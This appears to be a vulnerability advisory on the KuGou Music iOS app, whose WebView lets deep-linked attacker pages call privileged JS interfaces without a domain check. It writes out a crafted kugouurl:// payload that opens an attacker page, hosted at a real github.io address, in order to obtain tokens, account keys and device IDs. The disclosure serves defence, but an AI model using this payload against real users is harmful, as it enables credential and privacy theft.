# An information leak vulnerability in the iOS version of KuGou

#### Music

## **Brief Description**

KuGouMusic app is a music application that provides functions including music playback, music downloading, radio listening, live show viewing, etc. It ranks #4 in the "Music" category list on the App Store of China Area (as of 2024-12-11).

The iOS version of the KuGouMusic supports opening web pages from external deep link URL (Scheme). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a malicious URL (Scheme). When clicked by the victim in a browser or another app, the URL (Scheme) can direct the victim to the KuGouMusic app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, obtaining victim's personal information (such as Gender, Region), obtaining victim's account information and Credentials (such as Avatar, UserID, Token, AccountKey), obtaining victim's device information (such as DeviceID, QimeiID) and interfering victim's normal use (such as crashing the app).

## **Vulnerability Exploitation Process and Root Cause**

The attacker, lures the user to click on a malicious URL (Scheme) in the following format: kugouurl://start.weixin?{"cmd": "303","jsonStr": {"url": "https://attack.com/attack.html","title": "", "openType": 1}}. Here, "attack.com" represents a domain under the attacker's control. In our experiment, we use "https://zhouziyi1.github.io/iOSJS/kugoumusic/atkKugouMusic.html" as the malicious webpage.

When the victim clicks on this URL (kugouurl://start.weixin?{"cmd": "303","jsonStr": {"url": "https://zhouziyi1.github.io/iOSJS/kugoumusic/atkKugouMusic.html","title": "", "openType": 1}}), it directs the victim to the KuGouMusic app and opens the webpage https://zhouziyi1.github.io/iOSJS/kugoumusic/atkKugouMusic.html within the app.



Within the webpage, the attacker can then invoke privileged interfaces, compromise victim's privacy such as **obtaining victim's personal information** (such as Gender, Region), **obtaining victim's account information and Credentials** (such as Avatar, UserID, Token, AccountKey), **obtaining victim's device information** (such as DeviceID, QimeiID) and **interfering victim's normal use** (such as crashing the app).



Part of the code for JS to call OC and the callback function defined in JavaScript are shown below:

## Impact of the Vulnerability

**Scope of the vulnerability**: KuGou Music iOS version 20.0.0 (the latest version as of 2024-12-11). **Consequences of the vulnerability**: Information disclosure.

#### **Download Link For Affected Application:**

https://apps.apple.com/cn/app/%E9%85%B7%E7%8B%97%E9%9F%B3%E4%B9%90-%E5%B0%B1%E6%98%AF%E6%AD%8C%E5%A4%9A/id472208016

#### **Possible Countermeasures**

Should implement more strict domain name checks before the invocation of privileged interfaces.